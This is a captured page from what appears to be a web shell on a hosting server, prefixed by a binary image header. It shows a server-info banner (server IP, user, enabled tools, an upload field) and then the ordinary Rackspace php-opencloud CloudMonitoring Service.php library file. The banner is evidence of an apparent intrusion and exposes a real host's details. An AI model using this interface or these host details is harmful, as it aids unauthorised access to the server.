����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/rackspace/php-opencloud/lib/OpenCloud/CloudMonitoring/ |
Upload File : |
<?php
/**
* Copyright 2012-2014 Rackspace US, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
namespace OpenCloud\CloudMonitoring;
use OpenCloud\Common\Service\CatalogService;
/**
* Cloud Monitoring service.
*
* @package OpenCloud\CloudMonitoring
* @link http://docs.rackspace.com/cm/api/v1.0/cm-devguide/content/index.html
*/
class Service extends CatalogService
{
const DEFAULT_TYPE = 'rax:monitor';
const DEFAULT_NAME = 'cloudMonitoring';
protected $regionless = true;
/**
* @var array CloudMonitoring resources.
*/
protected $resources = array(
'Agent',
'AgentConnection',
'AgentHost',
'AgentHostInfo',
'AgentTarget',
'AgentToken',
'Alarm',
'Changelog',
'Check',
'CheckType',
'Entity',
'Metric',
'Notification',
'NotificationHistory',
'NotificationPlan',
'NotificationType',
'View',
'Zone'
);
/**
* Get an agent.
*
* @param string|null $id
* @return \OpenCloud\CloudMonitoring\Resource\Agent
*/
public function getAgent($id = null)
{
return $this->resource('Agent', $id);
}
public function getAgents()
{
return $this->resourceList('Agent');
}
public function getAgentHost($agentId = null)
{
return $this->resource('AgentHost', null, $this->getAgent($agentId));
}
public function getAgentTargets()
{
return $this->resourceList('AgentTarget');
}
public function getAgentToken($id = null)
{
return $this->resource('AgentToken', $id);
}
public function getAgentTokens()
{
return $this->resourceList('AgentToken');
}
/**
* Return a collection of Entities.
*
* @return \OpenCloud\Common\Collection
*/
public function getEntities()
{
return $this->resourceList('Entity');
}
public function createEntity(array $params)
{
return $this->getEntity()->create($params);
}
/**
* Get either an empty object, or a populated one that exists on the API.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\Entity
*/
public function getEntity($id = null)
{
return $this->resource('Entity', $id);
}
/**
* Get a collection of possible check types.
*
* @return \OpenCloud\Common\Collection
*/
public function getCheckTypes()
{
return $this->resourceList('CheckType');
}
/**
* Get a particular check type.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\CheckType
*/
public function getCheckType($id = null)
{
return $this->resource('CheckType', $id);
}
/**
* Create a new notification.
*
* @param array $params
* @return
*/
public function createNotification(array $params)
{
return $this->getNotification($params)->create();
}
/**
* Test the parameters of a notification before creating it.
*
* @param array $params
* @return mixed
*/
public function testNotification(array $params)
{
return $this->getNotification()->testParams($params);
}
/**
* Get a particular notification.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\Notification
*/
public function getNotification($id = null)
{
return $this->resource('Notification', $id);
}
/**
* Get a collection of Notifications.
*
* @return \OpenCloud\Common\Collection
*/
public function getNotifications()
{
return $this->resourceList('Notification');
}
/**
* Create a new notification plan.
*
* @param array $params
* @return mixed
*/
public function createNotificationPlan(array $params)
{
return $this->getNotificationPlan()->create($params);
}
/**
* Get a particular notification plan.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\NotificationPlan
*/
public function getNotificationPlan($id = null)
{
return $this->resource('NotificationPlan', $id);
}
/**
* Get a collection of notification plans.
*
* @return \OpenCloud\Common\Collection
*/
public function getNotificationPlans()
{
return $this->resourceList('NotificationPlan');
}
/**
* Get a particular notification type.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\NotificationType
*/
public function getNotificationType($id = null)
{
return $this->resource('NotificationType', $id);
}
/**
* Get a collection of notification types.
*
* @return \OpenCloud\Common\Collection
*/
public function getNotificationTypes()
{
return $this->resourceList('NotificationType');
}
/**
* Get a collection of monitoring zones.
*
* @return \OpenCloud\Common\Collection
*/
public function getMonitoringZones()
{
return $this->resourceList('Zone');
}
/**
* Get a particular monitoring zone.
*
* @param null $id
* @return \OpenCloud\CloudMonitoring\Resource\Zone
*/
public function getMonitoringZone($id = null)
{
return $this->resource('Zone', $id);
}
/**
* Get a changelog - either a general one or one catered for a particular entity.
*
* @param string|null $data
* @return object|false
*/
public function getChangelog($data = null)
{
// Cater for Collections
if (is_object($data)) {
return $this->resource('Changelog', $data);
}
$url = $this->resource('Changelog')->getUrl();
if ($data) {
$url->setQuery(array('entityId' => (string) $data));
}
return $this->resourceList('Changelog', $url);
}
/**
* @return object|false
*/
public function getViews()
{
return $this->resourceList('View');
}
}